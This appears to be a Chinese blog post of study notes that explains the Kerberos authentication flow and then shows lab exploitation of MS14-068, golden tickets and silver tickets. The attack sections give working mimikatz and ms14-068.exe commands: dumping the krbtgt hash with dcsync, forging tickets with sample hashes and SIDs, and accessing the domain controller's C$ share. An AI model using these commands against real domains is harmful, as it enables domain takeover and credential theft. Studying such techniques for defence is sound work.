Kerberos協議工作原理分析
這里面借用一下師傅們的圖來說明一下

Kerberos協議的流程大致如下(假設A要獲取對Server B的訪問權限)
- 第一步(KRB_AS_REQ)
這一步客戶端A向AS發送認證請求,發送經自身密碼hash(域用戶密碼)加密的時間戳(域認證很多都用到時間戳,一是避免了時間過長而造成的暴力攻擊,並且正好將時間戳作為認證點)
- 第二步(KRB_AS_REP)
AS收到了客戶端發送的認證請求,於是從本地數據庫中拿到客戶端A的密碼哈希解密出時間戳,若時間戳認證成功后生成SessionKey(A-KDC,第一個SessionKey),並且向客戶端發送兩個東西
加密后的SessionKey(A-KDC)(經客戶端A的密碼加密后) //密文1
將SessionKey(A-KDC)與時間戳標志(控制該SessionKey的有效時間)通過KDC的密碼加密的密文發送過去(稱為TGT) //密文2
- 第三步(KRB_TGS_REQ)
客戶端接受到上文的密文1並解密獲得SessionKey(A-KDC),但是密文2無法解密,因為是利用的KDC的密碼Hash來進行的加密
獲取到SessionKey(A-KDC)后,向TGS發送兩樣東西:
經過SessionKey(A-KDC)加密后的時間戳(認證利用的是時間戳) //密文1
還有TGT(解密不了只能發送了) //密文2
以上用來申請與Server B溝通的SessionKey(A-B),第二個SessionKey
- 第四步(KRB_TGS_REP)
TGS獲取到TGT后,解密TGT得到SessionKey(A-KDC),之后再利用SessionKey解密密文1,得到時間戳,如果驗證成功后生成SessionKey(A-B),這個時候想客戶端發送兩樣東西
經SessionKey(A-KDC)加密后的SessionKey(A-B) //密文1
經Server B的密碼加密過得SessionKey(A-B)(稱為Serve Ticket) //密文2
- 第五步(KRB_AP_REQ)
客戶端接收到發送的密文后,解密密文1,獲取到SessionKey(A-B)
只有想Server B發送兩樣東西
經SessionKey(A-B)加密后的時間戳 //密文1
Server Ticket(即第四步TGS發送給客戶端A的密文2) //密文2
- 第六步(KRB_AP_REP)
解密發送過來的密文2,得到SessionKey(A-B),再利用SessionKey(A-B)解密密文1獲取到時間戳,認證成功后,客戶端A就可訪問Server的服務
上面就是Kerbreos協議的簡單過程
MS14-068的利用
利用前提
得到一個域內主機,並且知道與用戶的明文密碼
域主機沒有打補丁(KB3011780)
漏洞原理
微軟對PAC(特權屬性證書)校驗不嚴格導致任意域用戶可以提升為域管理員
利用過程
首先得到該用戶的SID
whoami /user

利用工具生成票據
ms14-068.exe -u win7@MIKASA.com -s sid -d WIN-Q1E9PO4969I.mikasa.com
-u 域用戶名@域名 -s 域用戶SID名 -d 域控主機名
之后輸入域用戶的明文密碼就生成了票據
提升權限
klist purge //清除原來的票據,留下一個干凈的空間
mimikatz.exe "kerberos::ptc 票據的路徑" "exit"
只有可以使用 net use \\域控名\C$嘗試訪問域控

成功Get!
黃金票據
利用前提
拿到域控(沒錯就是拿到域控QAQ),適合做權限維持
有krbtgt用戶的hash值(aeshash ntlmhash等都可以,后面指定一下算法就行了)
漏洞原理
自己偽造TGT,忽略過前兩部KRB_AS_REQ、KRB_AS_REP,其實說KDC的密碼就是krbtgt用戶的密碼。
在認證過程中所有的KDC密碼都代表的是krbtgt的密碼。
仔細觀察第三步發現,TGS獲取的TGT是利用krbtgt的密碼解密的,這就意味着我們,可以直接忽略掉前兩步直接偽造TGT(前提我們加密需要krbtgt的密碼)向TGS發送認證請求(並且可以偽造成任意用戶,因為TGT可控,那么PAC也是可控的)
利用過程
登錄域控抓取krbtgt的密碼Hash和獲取域SID
mimikatz.exe log "lsadump::dcsync /domain:test.local /user:krbtgt"
獲取到NTLMhash:c06e999c1a956bf99502142582e1b495
sid:S-1-5-21-3006648259-3336348783-1992286540
一次性利用mimikatz並且直接注入憑據
mimikatz.exe "kerberos::golden /user:administrator /domain:MIKASA.com /sid:S-1-5-21-3006648259-3336348783-1992286540 /krbtgt:c06e999c1a956bf99502142582e1b495 /ptt" exit
分步利用
kerberos::golden /user:administrator /domain:MIKASA.com /sid:S-1-5-21-3006648259-3336348783-1992286540 /krbtgt:c06e999c1a956bf99502142582e1b495 /ticket:test.kirbi
kerberos::ptt test.kirbi

一次性利用那個沒有實驗成功(不知道怎么回事)
參數詳解
kerberos::golden //創建黃金票據
user:administrator //偽造用戶
domain:MIKASA.com //指定域名
sid:xxx //域的SID
krbtgt:hash //導出的krbtgt用戶的Hash
ptt //將注入的票據注入到內存中以供使用
之后可以使用IPC$或者PsExec等建立連接了
白銀票據
利用前提
拿到目標機器hash(是目標機,不一定是域控,因為這里面我們做實驗用的是域控,所以才使用域控(目標機)的Hash)
漏洞原理
在第五步中,Server B確認客戶端A是通過解密ticket來確認SessionKey(A-B)認證的。
但是ticket是TGS發送的,需要Server B用機器Hash解密。
假設我們知道了機器的Hash是不是也可以跟黃金票據一樣偽造TGT一樣來獲取訪問權限呢?
當然假設我們知道了機器的Hash以及ticket票據的構造,那么我們也可以自己偽造一個!!
局限性
因為需要目標機器的Hash,並且也不是通過偽造TGT申請的,因此只能針對對應服務偽造票據(黃金票據直接偽造的是TGT,而白金票據偽造的是TGS發送的票據,也就是說是單向車程)
漏洞利用
去域控下整下機器的hash值(我這里面為了訪問域控,所以是域控的Hash值,若是訪問其他的,則需要獲取對應的機器Hash,第四步里面講的很清楚了)
kerberos::golden /domain:MIKASA.com /sid:S-1-5-21-3006648259-3336348783-1992286540 /target:WIN-Q1E9PO4969I.MIKASA.com /rc4:9f26d10e5bbcb5b891fc6ca79e53a033 /service:cifs /user:yifan /ptt
//用戶名隨意填寫,第6步沒有驗證用戶名
dir \\WIN-Q1E9PO4969I\C$

實驗了一下發現dir \\WIN-Q1E9PO4969I.MIKASA.com\c$不行,難道是服務不同嗎?有知道的大佬請Call我
可以偽造的服務如下

參考資料
https://www.bilibili.com/video/av51717543
https://www.freebuf.com/vuls/56081.html
聯系方式:1941748801